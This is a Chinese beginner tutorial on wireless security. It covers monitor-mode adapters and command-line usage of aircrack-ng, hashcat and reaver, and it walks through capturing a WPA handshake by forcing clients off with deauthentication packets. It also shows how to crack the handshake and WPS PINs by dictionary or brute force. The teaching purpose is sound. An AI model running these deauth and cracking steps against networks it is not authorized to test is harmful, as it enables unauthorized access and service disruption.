小白也能玩转无线安全(一)—硬件&工具入门篇
0×00 写在前面
很久之前就想出一套无线安全系列的文章,一方面,总结自己学习过程踏过的坑,另一方面,也算是和大家分享自己的学习心得,由于文章主要面向初学者,所以语言会比较浅显,文章有错误的或者是不足的地方希望大家指出,谢谢。
##0×01 硬件选择回想刚入门的时候,硬件这块不得不说是第一个坑了,网上给的建议大多参差不齐,也没有一个很好的标准,下面总结一下选择时考虑的因素:
- 无线网卡驱动必须支持监听模式(monitor);
- 选择网卡时注意功率大小,功率过小时接收包数量有限,探测范围也小,我个人用的是150Mbps;
- 驱动芯片要支持kali系统,而且特定的芯片对破解算法支持较好,下面整理了几款不错的芯片及对应无线网卡产品:
| 芯片型号 | 无线网卡 | 功率大小 | 价格参考(Amazon/Taobao) |
|---|---|---|---|
| Atheros AR9271 | Alfa AWUS036NHA | 150Mbps | $55.00/¥275+ |
| TP-Link TL-WN722N | 150Mbps | $13.71/¥100+ | |
| TP-Link TL-WN822N | 300Mbps | $14.99/¥120+ | |
| Realtek RTL8187L | Alfa AWUS036H | 1000MW | $34.99/¥60-200+ |
| Ralink RT3070 | Alfa AWUS036NH | 2000MW | $39.99/¥160-255+ |
个人推荐TPLink的TL-WN722N,在旧版kali免装驱动完美识别,自带一根4dBi天线,可更换。当然,如果只是想尝尝鲜,完全可以去某宝买一个杂牌的,搜索时只搜索芯片型号就可以,如:AR9271
0×02 工具介绍
-
Aircrack-ng 套件
-
airmon-ng:启动网卡的监听模式
airmon-ng check kill //清理可能与aircrack-ng争用无线网卡的进程airmon-ng start <interface> //无线网卡开启监听模式airmon-ng stop <interface> //关闭无线网卡 -
airodump-ng:查看无线网络并捕获802.11数据报文
airodump-ng <interface> //查看周围wifi热点airodump-ng -c 6 --bssid AA:AA:AA:AA:AA:AA -w <save file> //抓取在频道6且bssid为AA:AA:AA:AA:AA:AA的路由器的握手包并保存 -
aireplay-ng:产生数据流量工具,通过多种攻击方式加速获取握手包
aireplay-ng <options> <replay interface>常用:
aireplay-ng -0 6 –a <ap mac> -c <device mac> <interface> //发送6个deauth(反认证)包强制断开目标设备的wifi连接 -
aircrack-ng:破解数据包密码
aircrack-ng -a2 -b AA:AA:AA:AA:AA:AA -w <dict file> <cap file> //a2表示类型为WPA的握手包,w后是爆破需要的字典文件,最后是已经捕捉到的握手包路径aircrack-ng src.cap -J out.hccap //捕捉到的握手包.cap转换为.hccap,方便后续Hashcat破解 -
airbase-ng:用于创建wifi热点
airbase-ng -e sherlly -c 6 <interface> //为网卡创建一个essid为'sherlly',频道为6的WiFi热点
-
-
Hashcat:一款支持GPU破解的密码破解神器
- hashcat:只支持CPU破解
- oclHashcat:支持显卡类型为AMD的GPU破解
-
cudaHashcat:支持显卡类型为NVIDIA的GPU破解
常用命令:
hashcat64.exe -m 2500 -a3 sherllys.hccap ?d?d?d?d?d?d?d?d //破解密码为8位数字的握手包hashcat64.exe -2 ?d?l -m 2500 -a3 sherlly.hccap ?2?2?2?2?2?2?2?2 //破解密码为8位数字加小写字母的握手包hashcat64.exe -m 2500 sherlly.hccap pwd.txt //通过字典文件破解握手包参数说明:
-
暴力破解字符集选择:
?l = abcdefghijklmnopqrstuvwxyz
?u = ABCDEFGHIJKLMNOPQRSTUVWXYZ
?d = 0123456789
?s = !”#$%&’()*+,-./:;<=>?@[]^_`{|}~
?a = ?l?u?d?s
?b = 0×00 – 0xff
-
网络协议选择:
2500 = WPA/WPA2
-
攻击模式选择:
0 = Straight
1 = Combination
3 = Brute-force
6 = Hybrid dict + mask
7 = Hybrid mask + dict
-
Reaver:通过穷举pin码破解开启wps认证的路由
wash –i <interface> –C //探测开启wps认证的APreaver -i <interface> -b AA:AA:AA:AA:AA:AA -vv //向bssid为AA:AA:AA:AA:AA:AA的AP发送Pin码
0×03 配置说明
- 开启kali, 插上无线网卡,检测是否正常识别;



附:TPLINK-WN722N内置AR9271芯片,驱动型号是 ath9k_htc.
2.开启网卡监听模式,并记住设备接口名称,此处为wlan0mon:


3.开始扫描周围AP:


4.针对某一AP发起攻击:
(一)捕获802.11数据报文


(二)强制用户断开wifi重连
这一步是为了加速握手包的获得,注意需要另开终端执行,第一步的操作不要中断。

可以看到已经成功抓取握手包了。

5.关闭网卡监听模式

Via: freebuf

